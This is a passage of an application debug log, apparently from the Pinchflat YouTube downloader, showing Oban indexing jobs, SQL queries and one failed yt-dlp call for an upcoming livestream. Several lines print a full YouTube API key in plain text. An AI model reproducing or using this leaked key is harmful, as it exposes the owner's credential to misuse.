m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:40:08.548 [debug] QUERY OK source="tasks" db=0.1ms idle=145.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268289, 12, ~U[2026-10-09 21:40:08Z], ~U[2026-10-09 21:40:08Z]] 16:40:08.548 [info] {"args":{"id":12},"id":5268250,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146211,"event":"job:stop","queue_time":397097,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:09.403 [info] {"args":{"id":41},"id":5268251,"meta":{},"system_time":1791582009403241371,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:09.403 [debug] QUERY OK source="sources" db=0.1ms idle=854.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:40:09.403 [debug] QUERY OK source="settings" db=0.1ms idle=854.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:09.403 [debug] QUERY OK source="media_profiles" db=0.1ms idle=848.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:40:09.404 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:09.404 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:40:09.404 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:40:09.404 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:40:09.715 [debug] QUERY OK source="media_items" db=0.6ms idle=311.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 16:40:09.716 [debug] QUERY OK source="media_items" db=0.8ms idle=312.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:40:09.717 [debug] QUERY OK source="tasks" db=0.1ms idle=313.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268290, 41, ~U[2026-10-09 21:40:09Z], ~U[2026-10-09 21:40:09Z]] 16:40:09.717 [info] {"args":{"id":41},"id":5268251,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":314318,"event":"job:stop","queue_time":419679,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:40:14.892 [info] {"source":"oban","duration":10011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":7} 16:40:44.903 [info] {"source":"oban","duration":9699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.407 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:14.913 [info] {"source":"oban","duration":9958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:25.782 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cd/22/cd22e1d090c87994a3706cb9a17cfa266826cbc1682fc72e9767a0cea6963fc3.json --sleep-requests 80 --sleep-interval 64 --sleep-subtitles 75 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 16:41:25.782 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 16:41:25.783 [debug] QUERY OK source="media_items" db=0.2ms idle=1089.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:41:25.784 [debug] QUERY OK source="tasks" db=0.1ms idle=89.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268291, 42, ~U[2026-10-09 21:41:25Z], ~U[2026-10-09 21:41:25Z]] 16:41:25.784 [info] {"args":{"id":42},"id":5268249,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":81385872,"event":"job:stop","queue_time":249417,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:41:44.924 [info] {"source":"oban","duration":9993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:42:00.408 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:14.935 [info] {"source":"oban","duration":9698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:44.945 [info] {"source":"oban","duration":10013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.409 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:14.956 [info] {"source":"oban","duration":9477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:44.966 [info] {"source":"oban","duration":9751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:44:00.409 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:14.976 [info] {"source":"oban","duration":9751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:23.663 [info] {"args":{"id":13},"id":5268252,"meta":{},"system_time":1791582263663197137,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:23.663 [debug] QUERY OK source="sources" db=0.1ms idle=969.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:44:23.663 [debug] QUERY OK source="settings" db=0.1ms idle=969.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:23.664 [debug] QUERY OK source="media_profiles" db=0.5ms idle=970.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:23.665 [debug] QUERY OK source="settings" db=0.6ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:23.665 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:44:23.665 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:23.665 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:23.956 [debug] QUERY OK source="media_items" db=0.6ms idle=292.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 16:44:23.957 [debug] QUERY OK source="media_items" db=0.3ms idle=293.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:44:23.958 [debug] QUERY OK source="tasks" db=0.1ms idle=292.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268292, 13, ~U[2026-10-09 21:44:23Z], ~U[2026-10-09 21:44:23Z]] 16:44:23.958 [info] {"args":{"id":13},"id":5268252,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":295378,"event":"job:stop","queue_time":439973,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:44.986 [info] {"source":"oban","duration":9885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:44:57.697 [info] {"args":{"id":17},"id":5268253,"meta":{},"system_time":1791582297697289705,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:57.697 [info] {"args":{"id":9},"id":5268254,"meta":{},"system_time":1791582297697333858,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:57.697 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:44:57.697 [debug] QUERY OK source="sources" db=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:44:57.697 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:57.698 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:57.698 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:57.698 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:44:57.698 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:57.698 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:57.698 [debug] QUERY OK source="settings" db=1.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:57.699 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:57.699 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:57.699 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:44:57.699 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:57.699 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:58.014 [debug] QUERY OK source="media_items" db=0.6ms idle=315.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 16:44:58.015 [debug] QUERY 